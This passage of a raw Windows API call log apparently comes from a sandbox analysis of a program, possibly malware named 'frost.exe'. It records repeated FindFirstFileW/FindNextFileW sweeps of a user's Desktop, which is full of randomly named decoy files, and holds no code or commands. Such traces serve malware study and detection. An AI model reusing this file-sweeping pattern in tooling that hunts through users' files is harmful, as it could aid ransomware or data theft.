cAlternateFileName="5VKO6N~1.ODT")) returned 1 [0177.976] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb008f1d0, ftCreationTime.dwHighDateTime=0x1d4cf70, ftLastAccessTime.dwLowDateTime=0xb3893e50, ftLastAccessTime.dwHighDateTime=0x1d4cae3, ftLastWriteTime.dwLowDateTime=0xb3893e50, ftLastWriteTime.dwHighDateTime=0x1d4cae3, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="6Uj7elOn1LNQLSTVCu.m4a", cAlternateFileName="6UJ7EL~1.M4A")) returned 1 [0177.977] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14726aa0, ftCreationTime.dwHighDateTime=0x1d4cde3, ftLastAccessTime.dwLowDateTime=0xb7a93b70, ftLastAccessTime.dwHighDateTime=0x1d4d376, ftLastWriteTime.dwLowDateTime=0xb7a93b70, ftLastWriteTime.dwHighDateTime=0x1d4d376, nFileSizeHigh=0x0, nFileSizeLow=0x937b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Pdlu2bM1qiL.avi", cAlternateFileName="9PDLU2~1.AVI")) returned 1 [0177.977] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3a4520, ftCreationTime.dwHighDateTime=0x1d4c5fe, ftLastAccessTime.dwLowDateTime=0x65edc910, ftLastAccessTime.dwHighDateTime=0x1d4c89d, ftLastWriteTime.dwLowDateTime=0x65edc910, ftLastWriteTime.dwHighDateTime=0x1d4c89d, nFileSizeHigh=0x0, nFileSizeLow=0x10f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUKPJ83W4.wav", cAlternateFileName="CUKPJ8~1.WAV")) returned 1 [0177.977] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0177.977] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a7ea00, ftCreationTime.dwHighDateTime=0x1d4c73d, ftLastAccessTime.dwLowDateTime=0xc7ac9b20, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0xc7ac9b20, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x4f6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EE8wxCjm7.docx", cAlternateFileName="EE8WXC~1.DOC")) returned 1 [0177.977] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f16af0, ftCreationTime.dwHighDateTime=0x1d4d070, ftLastAccessTime.dwLowDateTime=0x553ec690, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x553ec690, ftLastWriteTime.dwHighDateTime=0x1d4c614, nFileSizeHigh=0x0, nFileSizeLow=0x18e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FbuxnMa_peQfh.wav", cAlternateFileName="FBUXNM~1.WAV")) returned 1 [0177.977] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9ae180, ftCreationTime.dwHighDateTime=0x1d5c5e3, ftLastAccessTime.dwLowDateTime=0xfa9ae180, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xf8d11e00, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x37e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="frost.exe", cAlternateFileName="")) returned 1 [0177.977] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0514720, ftCreationTime.dwHighDateTime=0x1d4ce4c, ftLastAccessTime.dwLowDateTime=0xb7c42d30, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0xb7c42d30, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0xa5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GtZeMZRE.png", cAlternateFileName="")) returned 1 [0177.978] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26fdc7a0, ftCreationTime.dwHighDateTime=0x1d4cc21, ftLastAccessTime.dwLowDateTime=0xb56f5390, ftLastAccessTime.dwHighDateTime=0x1d4ca0b, ftLastWriteTime.dwLowDateTime=0xb56f5390, ftLastWriteTime.dwHighDateTime=0x1d4ca0b, nFileSizeHigh=0x0, nFileSizeLow=0xc876, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gx-wgH_OvpW.mp3", cAlternateFileName="GX-WGH~1.MP3")) returned 1 [0177.978] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaa2b6a0, ftCreationTime.dwHighDateTime=0x1d4cf35, ftLastAccessTime.dwLowDateTime=0xe4552340, ftLastAccessTime.dwHighDateTime=0x1d4ca7b, ftLastWriteTime.dwLowDateTime=0xe4552340, ftLastWriteTime.dwHighDateTime=0x1d4ca7b, nFileSizeHigh=0x0, nFileSizeLow=0x20d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiDyxzh7PeBvTBY.jpg", cAlternateFileName="HIDYXZ~1.JPG")) returned 1 [0177.978] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7951a960, ftCreationTime.dwHighDateTime=0x1d4d06b, ftLastAccessTime.dwLowDateTime=0x1276a60, ftLastAccessTime.dwHighDateTime=0x1d4ca03, ftLastWriteTime.dwLowDateTime=0x1276a60, ftLastWriteTime.dwHighDateTime=0x1d4ca03, nFileSizeHigh=0x0, nFileSizeLow=0x13bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J30oyBmwxo_7keQK41v.xlsx", cAlternateFileName="J30OYB~1.XLS")) returned 1 [0177.978] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bdeed80, ftCreationTime.dwHighDateTime=0x1d4d029, ftLastAccessTime.dwLowDateTime=0xbaad3aa0, ftLastAccessTime.dwHighDateTime=0x1d4c918, ftLastWriteTime.dwLowDateTime=0xbaad3aa0, ftLastWriteTime.dwHighDateTime=0x1d4c918, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="JDDtTYhODvukacc9.m4a", cAlternateFileName="JDDTTY~1.M4A")) returned 1 [0177.978] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3360400, ftCreationTime.dwHighDateTime=0x1d4ced5, ftLastAccessTime.dwLowDateTime=0x50b18030, ftLastAccessTime.dwHighDateTime=0x1d4c8db, ftLastWriteTime.dwLowDateTime=0x50b18030, ftLastWriteTime.dwHighDateTime=0x1d4c8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JTihJh_fu7", cAlternateFileName="JTIHJH~1")) returned 1 [0177.978] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37201800, ftCreationTime.dwHighDateTime=0x1d4c63a, ftLastAccessTime.dwLowDateTime=0xa897db80, ftLastAccessTime.dwHighDateTime=0x1d4c86a, ftLastWriteTime.dwLowDateTime=0xa897db80, ftLastWriteTime.dwHighDateTime=0x1d4c86a, nFileSizeHigh=0x0, nFileSizeLow=0x7b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="l2gI.docx", cAlternateFileName="L2GI~1.DOC")) returned 1 [0177.978] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e44f10, ftCreationTime.dwHighDateTime=0x1d4cd32, ftLastAccessTime.dwLowDateTime=0x2faacf10, ftLastAccessTime.dwHighDateTime=0x1d4d545, ftLastWriteTime.dwLowDateTime=0x2faacf10, ftLastWriteTime.dwHighDateTime=0x1d4d545, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="LPs2VQmf 4OhqVEQ.wav", cAlternateFileName="LPS2VQ~1.WAV")) returned 1 [0177.979] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba2a7b0, ftCreationTime.dwHighDateTime=0x1d4cc33, ftLastAccessTime.dwLowDateTime=0x55b27d0, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x55b27d0, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x64c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="lTidx6f4q7CDjc_4.wav", cAlternateFileName="LTIDX6~1.WAV")) returned 1 [0177.979] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb55ba8b0, ftCreationTime.dwHighDateTime=0x1d4d3c8, ftLastAccessTime.dwLowDateTime=0x22e91d30, ftLastAccessTime.dwHighDateTime=0x1d4c754, ftLastWriteTime.dwLowDateTime=0x22e91d30, ftLastWriteTime.dwHighDateTime=0x1d4c754, nFileSizeHigh=0x0, nFileSizeLow=0x6d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="MivJHTamm_ESG0R_.avi", cAlternateFileName="MIVJHT~1.AVI")) returned 1 [0177.979] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a7b6b0, ftCreationTime.dwHighDateTime=0x1d4d442, ftLastAccessTime.dwLowDateTime=0x769da660, ftLastAccessTime.dwHighDateTime=0x1d4d2af, ftLastWriteTime.dwLowDateTime=0x769da660, ftLastWriteTime.dwHighDateTime=0x1d4d2af, nFileSizeHigh=0x0, nFileSizeLow=0x3931, dwReserved0=0x0, dwReserved1=0x0, cFileName="mubJ5UsfpVxVjsxJ _a.gif", cAlternateFileName="MUBJ5U~1.GIF")) returned 1 [0177.979] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8bcab0, ftCreationTime.dwHighDateTime=0x1d4d434, ftLastAccessTime.dwLowDateTime=0x1a1eb2f0, ftLastAccessTime.dwHighDateTime=0x1d4cb87, ftLastWriteTime.dwLowDateTime=0x1a1eb2f0, ftLastWriteTime.dwHighDateTime=0x1d4cb87, nFileSizeHigh=0x0, nFileSizeLow=0x11115, dwReserved0=0x0, dwReserved1=0x0, cFileName="nPDB.flv", cAlternateFileName="")) returned 1 [0177.979] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6338b960, ftCreationTime.dwHighDateTime=0x1d4cb49, ftLastAccessTime.dwLowDateTime=0x52bbce0, ftLastAccessTime.dwHighDateTime=0x1d4cab9, ftLastWriteTime.dwLowDateTime=0x52bbce0, ftLastWriteTime.dwHighDateTime=0x1d4cab9, nFileSizeHigh=0x0, nFileSizeLow=0x175ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="TPrVWKSms.ppt", cAlternateFileName="TPRVWK~1.PPT")) returned 1 [0177.979] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cb9930, ftCreationTime.dwHighDateTime=0x1d4d5ff, ftLastAccessTime.dwLowDateTime=0xa11890d0, ftLastAccessTime.dwHighDateTime=0x1d4c5f8, ftLastWriteTime.dwLowDateTime=0xa11890d0, ftLastWriteTime.dwHighDateTime=0x1d4c5f8, nFileSizeHigh=0x0, nFileSizeLow=0x178cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UtymZ4s.gif", cAlternateFileName="")) returned 1 [0177.979] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8638cb0, ftCreationTime.dwHighDateTime=0x1d4ccd1, ftLastAccessTime.dwLowDateTime=0x78223990, ftLastAccessTime.dwHighDateTime=0x1d4d0f9, ftLastWriteTime.dwLowDateTime=0x78223990, ftLastWriteTime.dwHighDateTime=0x1d4d0f9, nFileSizeHigh=0x0, nFileSizeLow=0x887e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WgL8q5mQeu.jpg", cAlternateFileName="WGL8Q5~1.JPG")) returned 1 [0177.979] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22eb3b0, ftCreationTime.dwHighDateTime=0x1d4c7b0, ftLastAccessTime.dwLowDateTime=0xc2289ba0, ftLastAccessTime.dwHighDateTime=0x1d4c6d2, ftLastWriteTime.dwLowDateTime=0xc2289ba0, ftLastWriteTime.dwHighDateTime=0x1d4c6d2, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="XbKr.doc", cAlternateFileName="")) returned 1 [0177.980] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1951010, ftCreationTime.dwHighDateTime=0x1d4d452, ftLastAccessTime.dwLowDateTime=0xbc2e7790, ftLastAccessTime.dwHighDateTime=0x1d4d449, ftLastWriteTime.dwLowDateTime=0xbc2e7790, ftLastWriteTime.dwHighDateTime=0x1d4d449, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xjcy8Z.flv", cAlternateFileName="")) returned 1 [0177.980] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84f880, ftCreationTime.dwHighDateTime=0x1d4ca65, ftLastAccessTime.dwLowDateTime=0xf3015960, ftLastAccessTime.dwHighDateTime=0x1d4c8fd, ftLastWriteTime.dwLowDateTime=0xf3015960, ftLastWriteTime.dwHighDateTime=0x1d4c8fd, nFileSizeHigh=0x0, nFileSizeLow=0x128ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZE0eXN9ZMJpTdW014D_L.mkv", cAlternateFileName="ZE0EXN~1.MKV")) returned 1 [0177.980] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c1b91f0, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0x5f447920, ftLastAccessTime.dwHighDateTime=0x1d4c685, ftLastWriteTime.dwLowDateTime=0x5f447920, ftLastWriteTime.dwHighDateTime=0x1d4c685, nFileSizeHigh=0x0, nFileSizeLow=0x130f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="zkpbjspKkUnB9s3m-qm.csv", cAlternateFileName="ZKPBJS~1.CSV")) returned 1 [0177.980] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28eb3a0, ftCreationTime.dwHighDateTime=0x1d4ce02, ftLastAccessTime.dwLowDateTime=0x7ba53130, ftLastAccessTime.dwHighDateTime=0x1d4c866, ftLastWriteTime.dwLowDateTime=0x7ba53130, ftLastWriteTime.dwHighDateTime=0x1d4c866, nFileSizeHigh=0x0, nFileSizeLow=0x43bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="zkrreV1xVjO2bbl.png", cAlternateFileName="ZKRREV~1.PNG")) returned 1 [0177.980] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa134d720, ftCreationTime.dwHighDateTime=0x1d4c613, ftLastAccessTime.dwLowDateTime=0xc184f8c0, ftLastAccessTime.dwHighDateTime=0x1d4cfbe, ftLastWriteTime.dwLowDateTime=0xc184f8c0, ftLastWriteTime.dwHighDateTime=0x1d4cfbe, nFileSizeHigh=0x0, nFileSizeLow=0xd8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZngUBwJ274oCix02C8E.gif", cAlternateFileName="ZNGUBW~1.GIF")) returned 1 [0177.980] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc45a90, ftCreationTime.dwHighDateTime=0x1d4d10d, ftLastAccessTime.dwLowDateTime=0x90f8b7c0, ftLastAccessTime.dwHighDateTime=0x1d4d18d, ftLastWriteTime.dwLowDateTime=0x90f8b7c0, ftLastWriteTime.dwHighDateTime=0x1d4d18d, nFileSizeHigh=0x0, nFileSizeLow=0x221a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zwntIf13YyB.rtf", cAlternateFileName="ZWNTIF~1.RTF")) returned 1 [0177.980] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.980] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0177.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0177.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0177.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0177.981] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0177.981] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x53ca3cd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x53ca3cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0177.981] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x53ca3cd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x53ca3cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.981] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd174a700, ftCreationTime.dwHighDateTime=0x1d4d093, ftLastAccessTime.dwLowDateTime=0xaeffc1b0, ftLastAccessTime.dwHighDateTime=0x1d4d08d, ftLastWriteTime.dwLowDateTime=0xaeffc1b0, ftLastWriteTime.dwHighDateTime=0x1d4d08d, nFileSizeHigh=0x0, nFileSizeLow=0xbc77, dwReserved0=0x0, dwReserved1=0x0, cFileName="0aeCF7J4.mp3", cAlternateFileName="")) returned 1 [0177.981] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73255ec0, ftCreationTime.dwHighDateTime=0x1d4d38f, ftLastAccessTime.dwLowDateTime=0x6be02a80, ftLastAccessTime.dwHighDateTime=0x1d4ca04, ftLastWriteTime.dwLowDateTime=0x6be02a80, ftLastWriteTime.dwHighDateTime=0x1d4ca04, nFileSizeHigh=0x0, nFileSizeLow=0x2b33, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Llcqggic9x-_T8cv.swf", cAlternateFileName="1LLCQG~1.SWF")) returned 1 [0177.981] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449df280, ftCreationTime.dwHighDateTime=0x1d4cf8c, ftLastAccessTime.dwLowDateTime=0xeb73cdb0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0xeb73cdb0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0xa7a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2fBzQEff6XU6M3.swf", cAlternateFileName="2FBZQE~1.SWF")) returned 1 [0177.981] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9997cd0, ftCreationTime.dwHighDateTime=0x1d4d466, ftLastAccessTime.dwLowDateTime=0x9fa4c100, ftLastAccessTime.dwHighDateTime=0x1d4d2e7, ftLastWriteTime.dwLowDateTime=0x9fa4c100, ftLastWriteTime.dwHighDateTime=0x1d4d2e7, nFileSizeHigh=0x0, nFileSizeLow=0x12edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="4yH73E1aYg Q.bmp", cAlternateFileName="4YH73E~1.BMP")) returned 1 [0177.982] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b45500, ftCreationTime.dwHighDateTime=0x1d4cdbb, ftLastAccessTime.dwLowDateTime=0xfd409d30, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0xfd409d30, ftLastWriteTime.dwHighDateTime=0x1d4d1ab, nFileSizeHigh=0x0, nFileSizeLow=0x64e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="4ZfN1ykCS98mVKcw6H16.mp3", cAlternateFileName="4ZFN1Y~1.MP3")) returned 1 [0177.982] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09e1a90, ftCreationTime.dwHighDateTime=0x1d4cba6, ftLastAccessTime.dwLowDateTime=0x38571540, ftLastAccessTime.dwHighDateTime=0x1d4cee9, ftLastWriteTime.dwLowDateTime=0x38571540, ftLastWriteTime.dwHighDateTime=0x1d4cee9, nFileSizeHigh=0x0, nFileSizeLow=0x9072, dwReserved0=0x0, dwReserved1=0x0, cFileName="5VKo6nZvqr.odt", cAlternateFileName="5VKO6N~1.ODT")) returned 1 [0177.982] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb008f1d0, ftCreationTime.dwHighDateTime=0x1d4cf70, ftLastAccessTime.dwLowDateTime=0xb3893e50, ftLastAccessTime.dwHighDateTime=0x1d4cae3, ftLastWriteTime.dwLowDateTime=0xb3893e50, ftLastWriteTime.dwHighDateTime=0x1d4cae3, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="6Uj7elOn1LNQLSTVCu.m4a", cAlternateFileName="6UJ7EL~1.M4A")) returned 1 [0177.982] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14726aa0, ftCreationTime.dwHighDateTime=0x1d4cde3, ftLastAccessTime.dwLowDateTime=0xb7a93b70, ftLastAccessTime.dwHighDateTime=0x1d4d376, ftLastWriteTime.dwLowDateTime=0xb7a93b70, ftLastWriteTime.dwHighDateTime=0x1d4d376, nFileSizeHigh=0x0, nFileSizeLow=0x937b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Pdlu2bM1qiL.avi", cAlternateFileName="9PDLU2~1.AVI")) returned 1 [0177.982] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3a4520, ftCreationTime.dwHighDateTime=0x1d4c5fe, ftLastAccessTime.dwLowDateTime=0x65edc910, ftLastAccessTime.dwHighDateTime=0x1d4c89d, ftLastWriteTime.dwLowDateTime=0x65edc910, ftLastWriteTime.dwHighDateTime=0x1d4c89d, nFileSizeHigh=0x0, nFileSizeLow=0x10f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUKPJ83W4.wav", cAlternateFileName="CUKPJ8~1.WAV")) returned 1 [0177.982] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0177.982] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a7ea00, ftCreationTime.dwHighDateTime=0x1d4c73d, ftLastAccessTime.dwLowDateTime=0xc7ac9b20, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0xc7ac9b20, ftLastWriteTime.dwHighDateTime=0x1d4d20e, 